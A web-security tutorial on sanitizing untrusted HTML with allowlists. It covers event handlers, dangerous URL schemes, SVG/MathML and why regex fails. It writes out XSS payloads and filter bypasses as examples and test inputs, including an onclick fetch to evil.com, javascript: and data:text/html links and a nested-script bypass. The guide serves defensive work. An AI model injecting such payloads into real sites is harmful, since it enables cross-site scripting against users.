How to Sanitize Untrusted HTML Without Breaking Useful Content

November 08, 2026 · HTML.now Editorial · HTML Troubleshooting

Cover allowlists, scripts, event handlers, dangerous URLs, SVG/MathML and why regex is not a sanitizer.

How to Sanitize Untrusted HTML Without Breaking Useful Content

You have user-generated HTML—forum posts, rich-text editor output, scraped content—and you need to strip <script> tags, onclick handlers, and javascript: links without destroying paragraph text, images, or tables. A regex that removes everything between < and > will also gut <img> tags and leave &lt; entities in plain text. This guide covers how to build an allowlist-based sanitizer that keeps safe structural markup while discarding executable or dangerous constructs.

The Allowlist Strategy: Define What You Keep

Sanitization by removal is fragile. An allowlist defines exactly which HTML elements, attributes, and URL schemes are safe, and discards everything else. The HTML specification defines over 100 elements; you typically need only 15–20 for rich text: p, br, b, i, u, a, img, ul, ol, li, table, tr, td, th, h1–h6, pre, code, blockquote, span, div. Anything outside this set—including <script>, <style>, <iframe>, <embed>, <object>, <form>, <input>, <button>—is dropped.

The HTML specification lists all elements by category. The “Flow content” and “Phrasing content” categories contain the elements you likely want. Elements like <script> are in the “Metadata content” or “Interactive content” categories and should never be allowed.

Verification Procedure

  1. Parse the input HTML into a DOM tree using a standards-compliant parser.
  2. Walk every node. For text nodes, keep them as-is. For element nodes, check the tag name against your allowlist. If allowed, keep the element; if not, replace it with its children (if any) or remove it entirely.
  3. For each kept element, filter its attributes against a per-element allowlist.

Stripping Event Handlers from Allowed Elements

Even if you allow <div> and <span>, an attacker can attach an event handler as an attribute: <div onclick="fetch('https://evil.com')">. The HTML specification defines event handler attributes as those beginning with on (e.g., onload, onmouseover, onfocus, onerror). Section 9.1.5 of the spec lists every standard handler, but the safe approach is to strip any attribute whose name starts with on.

The same applies to <style> blocks and style attributes. While style can contain background:url() or expression() (in older browsers), the simplest policy is to disallow the style attribute entirely. If you must allow inline styling, parse the CSS value and strip any url(), behavior, expression, or @import directives.

Failure Mode: Event Handlers in SVG and MathML

SVG and MathML elements can carry event handlers just like HTML elements. <svg><set onbegin="alert(1)"/></svg> is valid inside an HTML document. The SVG integration section defines event attributes like onbegin, onend, onload. Your allowlist must either ban all SVG/MathML elements or explicitly strip event handler attributes from their namespaces. The safest default: drop <svg> and <math> entirely unless your application specifically requires mathematical notation or vector graphics. If you must keep them, treat their attributes with the same on* filter.

Validating URLs Beyond the javascript: Scheme

An <a href="javascript:alert(1)"> link is the obvious threat, but there are others. The href attribute can also accept data:text/html,<script>, vbscript:msgbox, or file:///etc/passwd. The HTML specification defines URL parsing rules, but your sanitizer should check the scheme of the resolved URL.

URL Validation Steps

  1. Parse the attribute value using the same URL parser the browser would use. In most sanitizer libraries, this is urllib.parse.urlparse() (Python) or new URL() (JavaScript).
  2. Keep only http: and https: schemes. Reject javascript:, data:, vbscript:, file:, ftp:. Allow mailto: only if your application explicitly needs email links.
  3. For <img src>, allow only http:, https:, and optionally data:image/ with a strict MIME type whitelist (e.g., image/png, image/jpeg, image/gif, image/webp). data:text/html is never safe.
  4. Check for protocol-relative URLs (//evil.com/script.js) by resolving them against a known base URL. If no base URL is available, drop them.

Explicit Limitation: URL Shorteners and Redirectors

A sanitizer cannot know the final destination of a shortened URL like https://tinyurl.com/xyz. The only defense is to not allow user-controlled href values that resolve to external destinations without a redirect audit—this is rarely practical in a sanitizer and is usually handled at the application layer.

Why Regex Cannot Sanitize HTML

A common attempt is /<[^>]+>/g to remove “tags.” This fails because:

  • Attribute values can contain >: <img alt="a > b" src=x.jpg> would be split incorrectly.
  • HTML entities in text: &lt;script&gt; is safe text, but a regex that removes anything between < and > would not touch it—yet a naive pattern like /<.*?>/ might miss multi-line tags or comment blocks.
  • Browsers parse malformed HTML leniently: <scr<script>ipt> is a common XSS filter bypass. The browser sees <script>ipt> because it recovers from the nested tag. A regex sees only the inner <script> and fails.
  • CDATA sections and comments: <!--><script>alert(1)--!> can confuse simple patterns.

The HTML specification defines a state machine for parsing. A sanitizer must implement or use a library that implements this tokenization, not a regular expression. Libraries like bleach (Python), DOMPurify (JavaScript), or HtmlSanitizer (Java) exist precisely because regex is insufficient.

Handling SVG and MathML When Required

If your content includes formulas or diagrams, you may need to allow <math> and <svg>. However, these namespaces have their own event handler attributes (e.g., onbegin, onend, onrepeat for SVG animation elements). The HTML specification integrates SVG elements into the HTML parser, meaning <svg><animate onbegin="alert(1)"/></svg> executes the handler in a browser.

Safe SVG/MathML Policy

  • Allow only a subset: svg, g, path, circle, rect, line, polygon, text, tspan. Drop animate, set, script, switch, image, foreignObject.
  • Strip all on* attributes regardless of namespace.
  • Forbid href and xlink:href inside SVG, because they can reference javascript: URIs.
  • Strip <use> if it references external resources (<use href="evil.svg#shapes"/>).

If you cannot audit every SVG and MathML attribute, the safer choice is to drop the entire element. Most user-generated HTML does not require these namespaces.

Testing Your Sanitizer

After implementing your allowlist and filters, test with these inputs:

  1. Simple script: <script>alert(1)</script>Hello → should output Hello.
  2. Event handler on allowed element: <p onclick="alert(1)">Click me</p> → should output <p>Click me</p>.
  3. Nested script bypass: <scr<script>ipt>alert(1)</scr<script>ipt> → should output nothing or the text alert(1) depending on how the parser recovers.
  4. URL scheme bypass: <a href="javascript:alert(1)">link</a> → should output <a>link</a> or drop the href.
  5. SVG event: <svg onload="alert(1)"><rect width="10" height="10"/></svg> → should output nothing (if SVG is banned) or <svg><rect width="10" height="10"/></svg> (if SVG allowed and onload stripped).
  6. Data URL in img: <img src="data:text/html,<script>alert(1)</script>"> → should output nothing (if data: is banned) or <img> with the src removed.
  7. Malformed comment: <!--><script>alert(1)--!> → should output nothing (the comment is a comment, the script is inside it).

A sanitizer that passes all seven without losing <b>Hello</b> from the input is ready for production. A sanitizer that fails any one of them is not safe to use on untrusted input.